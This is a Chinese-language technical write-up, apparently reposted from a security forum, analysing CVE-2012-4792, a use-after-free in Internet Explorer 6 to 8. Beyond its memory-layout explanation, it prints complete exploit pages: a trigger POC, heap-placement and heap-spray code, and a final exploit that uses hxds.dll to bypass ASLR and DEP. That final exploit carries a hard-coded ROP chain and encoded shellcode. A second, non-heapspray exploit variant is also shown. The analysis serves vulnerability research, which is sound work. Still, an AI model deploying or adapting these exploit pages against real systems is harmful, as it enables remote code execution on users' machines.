Internet Explorer漏洞分析(五)—

Internet Explorer漏洞分析(五)——CVE-2012-4792
2021-04-27 10:48:50 Author: xz.aliyun.com(查看原文) 阅读量:146 收藏

0x01 漏洞信息

0x01.1 漏洞简述

编号：CVE-2012-4792
类型：释放重引用(Use After Free)
漏洞影响：远程代码执行(RCE)
CVSS 2.0：9.3

mshtml.dll在释放CButton对象后没有更新CDoc中Default Element对此地址引用，以致后续CElement::FindDefaultElem会重新获取此地址，传递给CMarkup::OnLoadStatusDone函数，使用已释放内存。

0x01.2 漏洞影响

Microsoft Internet Explorer 6 through 8

0x01.3 修复方案

MS13-008

0x02 漏洞分析

0x02.1 分析环境

OS版本：Windows 7 Service Pack 1 x86
Internet Explorer版本：8.0.7601.17514
mshtml.dll版本：8.0.7601.17514
jscript.dll版本：5.8.7601.17514

0x02.2 详细分析

分析用POC：

<!doctype html>
<html>
<head>
<script> 
function exploit()
{
     var e0 = null;
     var e1 = null;
     var e2 = null; 
     try {
          e0 = document.getElementById("a");
          //Math.tan(2,1);                    
          e1 = document.createElement("div")
          //Math.sin(2,1);                    
          e2 = document.createElement("q"); 
          //Math.cos(2,1);                    
          e1.applyElement(e2);                                        
          e1.appendChild(document.createElement('button'));
          e1.applyElement(e0);              
          e2.innerHTML = "";                
          e2.appendChild(document.createElement('body'));
     } catch(e) { }
     CollectGarbage();                      
} 
</script> 
</head>
<body onload="exploit()">
<form id="a">
</form>
</body>
</html>

借助Math.tan、Math.sin、Math.cos(分别对应jscript!Tan、jscript!sin、jscript!cos)及mshtml!CreateElement可观察各对象的创建。document.createElement("div")：

document.createElement("q")：

document.createElement('button')：

下面来看如何创建DOM流，跟进CElement::applyElement函数分析，其创建位于CElement::EnsureInMarkup中：

CElement::EnsureInMarkup—>CDoc::CreateMarkupWithElement—>CTreeNode::CTreeNode：

其执行情况如下：

调用CTreeNode::CTreeNode完成：

可以看出div元素(即e1)的CTreeNode—>parent初始指向CRootElement，CTreeNode类结构如下所示：

class CTreeNode
{
public: 
    CElement * element;
    CTreeNode * parent;
    BYTE        _etag;                              // 0-7:     element tag
    BYTE        _fFirstCommonAncestorNode : 1;    // 8:       for finding common ancestor
    BYTE        _fInMarkup : 1;    // 9:       this node is in a markup and shouldn't die
    BYTE        _fInMarkupDestruction : 1;    // 10:      Used by CMarkup::DestroySplayTree
    BYTE        _fHasLookasidePtr : 2;    // 11-12    Lookaside flags
    BYTE        _fBlockNess : 1;    // 13:      Cached from format -- valid if _iFF != -1
    BYTE        _fHasLayout : 1;    // 14:      Cached from format -- valid if _iFF != -1
    BYTE        _fUnused : 1;    // 15:      Unused
    SHORT       _iPF;                               // 16-31:   Paragraph Format
                                                // DWORD 2
    SHORT       _iCF;                               // 0-15:    Char Format
    SHORT       _iFF;

    CTreePos    _tpBegin;
    CTreePos    _tpEnd;
    DWORD      unknow1;
    DWORD      unknow2;
    DWORD      unknow3;
};

将CTreeNode对象地址写入Element对象偏移0x14位置处：

CMarkup::ReparentDirectChildren将q元素(即e2)的CTreeNode地址写至div元素CTreeNode—>parent中：

CElement类部分结构含义如下：

+0x10       CAttributeCollection
            +0x00   The total size of the Attribute Array<<2
            +0x04   Number of Attributes
            +0x08   CAttrArray
            +0x0c
+0x14       CTreeNode

对POC执行完e1.applyElement(e0);语句后所创建对象作一总结：

e0 Address:0x0026e4c8(Form Element)
    CTreeNode Address:0x00307cb0
e1 Address:0x002db1e8(Div Element)
    CTreeNode Address:0x00307af8
e2 Address:0x002dad38(Phrase Element)
    CTreeNode Address:0x00307b50
button Address:0x00311b48
    CTreeNode Address:0x00307ba8

对象布局如下：

下面开始漏洞分析部分。e1.appendChild(document.createElement('button'));对应函数为CElement::appendChild，对于button元素，其会执行CElement::SetDefaultElem函数，将该元素设为Default Element：

具体执行如下：

e2.innerHTML = "";会将Phrase内元素清空：

e2.appendChild(document.createElement('body'));：

CollectGarbage();对应函数为jscript!JsCollectGarbage，它会调用mshtml!PlainTrackerRelease对button元素进行释放：

但其释放结束后并未更新CDoc对象中Default Element(Offset 0x1A8)，以致后续mshtml!CElement::FindDefaultElem函数使用已释放内存，触发漏洞：

0x02.3 利用分析

0x02.3a Heapspray

首先是对已释放CButton对象内存进行占位，可通过两种方式——className与title。className：

<!doctype html>
<html>
<head>
     <script>
     var arr_button = new Array();
    var junk=unescape("%u4141%u4141");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
     function helloWorld() {
          var e=document.createElement('div');
          var e0 = null;
          var e1 = null;
          var e2 = null;
for(i =0; i < 20; i++)
{
                document.createElement('button');
}
          try {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
          for(var i = 0; i<0x50; i++)
          {
               arr_button[i]= document.createElement("button");
               arr_button[i].className= junk.substring(0,(0x58-6)/2);
          }

     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

title：

<!doctype html>
<html>
<head>
<script>
var arr_div = new Array();
var junk=unescape("%u4141%u4141");
while (junk.length < (0x100- 6)/2)
{
junk+=junk;
}
function helloWorld() {
var e0 = null;
var e1 = null;
var e2 = null;

try {
e0 = document.getElementById("a");
e1 = document.getElementById("b");
e2 = document.createElement("q");
e1.applyElement(e2);
e1.appendChild(document.createElement('button'));
e1.applyElement(e0);
e2.outerText = "";
e2.appendChild(document.createElement('body'));
} catch(e) { }
CollectGarbage();
for(var i = 0; i<0x50; i++)
{
arr_div[i]= document.createElement("div");
arr_div[i].title= junk.substring(0,(0x58-6)/2);
}
}

</script>
</head>
<body onload="eval(helloWorld())">
<form id="a">
</form>
<dfn id="b">
</dfn>
</body>
</html>

(注：上述两处代码均来自用ClassName占位和title占位的分析)

两种方式执行流对比：

其最终都会调用_HeapAllocString，其会调用ULongAdd函数将substring传递第二个参数加1，之后乘2传递给HeapAlloc分配该数值大小堆块：

创建CButton对象时申请堆块大小为0x58，如此一来，需要修改junk.substring(0,(0x58-6)/2)为junk.substring(0,(0x58-2)/2)：

完成占位：

之后进行Heap Spray：

<!doctype html>
<html>
<head>
<script>
    var arr_div = new Array();
    var junk=unescape("%u0c0c%u0c0c");
    while (junk.length < (0x100- 6)/2)
    {
     junk+=junk;
    }
    var nops=unescape("%u9090%u9090");
    while(nops.length<0x1000) nops+=nops;
    var code =unescape("%u4141%u4141%u4141%u4141");//can be ROP or Shellcode
    var offset=0x5F4;
    var junk_offset=nops.substring(0,0x5F4);
    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
    while(shellcode.length<0x40000)
    {
        shellcode+=shellcode;
    }
    var block = shellcode.substring(0,0x40000);
    var heap_chunks = new Array();
    for (var i=1; i < 500; i++) 
        heap_chunks[i] = block.substring(0,0x40000);
    function helloWorld() 
    {
          var e0 = null;
          var e1 = null;
          var e2 = null;

          try 
          {
               e0 = document.getElementById("a");
               e1 = document.getElementById("b");
               e2 = document.createElement("q");
               e1.applyElement(e2);
               e1.appendChild(document.createElement('button'));
               e1.applyElement(e0);
               e2.outerText = "";
               e2.appendChild(document.createElement('body'));
          } catch(e) { }
          CollectGarbage();
           for(var i = 0; i<0x50; i++)
          {
               arr_div[i]= document.createElement("div");
               arr_div[i].title= junk.substring(0,(0x58-2)/2);
          }
     }

     </script>
</head>
<body onload="eval(helloWorld())">
     <form id="a">
     </form>
     <dfn id="b">
     </dfn>
</body>
</html>

var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);语句中0x5F4是因为要实现Shellcode精准Heap Spray到0x0c0c0c0c位置，堆块上数据从0x0024开始，0x0c0c-0x0024=0xbe8，该值除以2即为0x5f4：

最后是Bypass ASLR&DEP。加入如下语句：

<SCRIPT language="JavaScript"> 
   location.href = 'ms-help:'
</SCRIPT>

会加载C:\Program Files\Common Files\microsoft shared\Help\hxds.dll文件，该文件并未开启ASLR，故可利用其构造ROP链(注：该文件随Office版本不同而不同，笔者采用Office 2010进行构造)。stackpivot有两处可供使用——0x51be4a41与0x51bd29c7，最终构造Exploit如下：

<!doctype html>
<html>
<head>
<SCRIPT language="JavaScript"> 
   location.href = 'ms-help:'
</SCRIPT>
<script>
    var arr_div = new Array();
    var junk=unescape("%u0b30%u0c0c");
    while (junk.length < (0x100- 6)/2)
    {
      junk+=junk;
    }
    var nops=unescape("%u9090%u9090");
    while(nops.length<0x400) nops+=nops;
    while(nops.length<0x5f2) nops+=unescape("%ub30e%u51c3");
    nops+=unescape("%u198c%u51be");
    var code =unescape(
   "%u29c7%u51bd%u34b4%u51bf%u10b8%u51bd%u2d97%u51bd%ucba0%u51bd"+
   "%u79e2%u51c3%u9683%u51c5%u6fbd%u51c5%ufffe%ua17f"+
   "%u1e01%u51c1%u92d8%u51c3%ue67d%u51bf%u6fbd%u51c5"+
   "%ufc3d%ua17f%u1e01%u51c1%u592b%u51bf%ucf3e%u51be"+
   "%ud150%u51c5%uf563%u51be%u7402%u51c0%u6fbd%u51c5"+
   "%u9090%u9090%ua8dc%u51bd"+                        //ROP
   "%uc481%uf254%uffff%u2ebf%ue4ed%udbc0%ud9c8%u2474" +         //shellcode calc.exe
   "%u58f4%uc933%u33b1%u7831%u0312%u1278%uee83%u06e9" +
   "%u1235%u4f19%ueab6%u30da%u0f3e%u62eb%u4424%ub35e" +
   "%u082e%u3853%ub862%u4ce0%ucfab%ufa41%ufe8d%uca52" +
   "%uac11%u4c91%uaeee%uaec5%u61cf%uae18%u9f08%ue2d3" +
   "%ud4c1%u1346%ua865%u125a%ua7a9%u6ce3%u77cc%uc697" +
   "%ua7cf%u5c08%u5f87%u3a22%u5e38%u58e7%u2904%uab8c" +
   "%ua8fe%ue244%u9bff%ua9a8%u14c1%ub325%u9206%uc6d6" +
   "%ue17c%ud16b%u9846%u54b7%u3a5b%uce33%ubbbf%u8990" +
   "%ub734%udd5d%udb13%u3260%ue728%ub5e9%u6eff%u91a9" +
   "%u2bdb%ubb69%u917a%uc4dc%u7d9d%u6080%u6fd5%u13d5" +
   "%ue5b4%u9128%u40c2%ua92a%ue2cc%u9843%u6d47%u2513" +
   "%uca82%u6feb%u7a8f%u3664%u3f45%uc9e9%u03b3%u4a14" +
   "%ufb36%u52e3%ufe33%ud4a8%u72af%ub0a0%u21cf%u90c1" +
   "%ua4b3%u7851%u431a%u1bd2%u4162");
    var offset=0x5F4;
    var junk_offset=nops.substring(0,0x5F4);
    var shellcode=junk_offset+code+nops.substring(0,0x800-0x5F4-code.length);
    while(shellcode.length<0x40000)
    {
      shellcode+=shellcode;
    }
    var block = shellcode.substring(0,0x40000);
    var heap_chunks = new Array();
    for (var i=1; i < 500; i++) 
      heap_chunks[i] = block.substring(0,0x40000);
    function helloWorld() 
    {
      var e0 = null;
      var e1 = null;
      var e2 = null;
      try 
      {
        e0 = document.getElementById("a");
        e1 = document.getElementById("b");
        e2 = document.createElement("q");
        e1.applyElement(e2);
        e1.appendChild(document.createElement('button'));
        e1.applyElement(e0);
        e2.outerText = "";
        e2.appendChild(document.createElement('body'));
      } catch(e) { }
      CollectGarbage();
      for(var i = 0; i<0x50; i++)
      {
        arr_div[i]= document.createElement("div");
        arr_div[i].title= junk.substring(0,(0x58-2)/2);
      }
   }
</script>
</head>
<body onload="eval(helloWorld())">
  <form id="a">
  </form>
  <dfn id="b">
  </dfn>
</body>
</html>

成功弹出计算器：

0x02.3b Non-Heapspray

来自Happy New Year Analysis of CVE-2012-4792：

<!doctype html>  
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">  
<head>  
<meta>  
<?IMPORT namespace="t" implementation="#default#time2">  
</meta>  
<script>  
    function helloWorld() 
    {  
        e_form = document.getElementById("formelm");  
        e_div = document.getElementById("divelm");  
        animvalues = "\u4141\u4141"  
        while(animvalues.length < 0xDC) 
        {  
            animvalues += animvalues  
        }  
        for(i = 0; i < 21; i++) 
        {  
            animvalues += ";cyan";  
        }
        for(i =0; i < 20; i++) 
        {  
            document.createElement('button');  
        }
        e_div.appendChild(document.createElement('button'))   
        e_div.firstChild.applyElement(e_form);  
        e_div.innerHTML = ""  
        e_div.appendChild(document.createElement('body'));  
        CollectGarbage();  
        try 
        {  
            a = document.getElementById('myanim');  
            a.values = animvalues;  
        }  
        catch(e) {}  
    }  
</script>  
</head>  
<body onload="eval(helloWorld())">  
<t:ANIMATECOLOR id="myanim"/>  
<div id="divelm"></div>  
<form id="formelm">  
</form>  
</body>  
</html>

0x03 参阅链接

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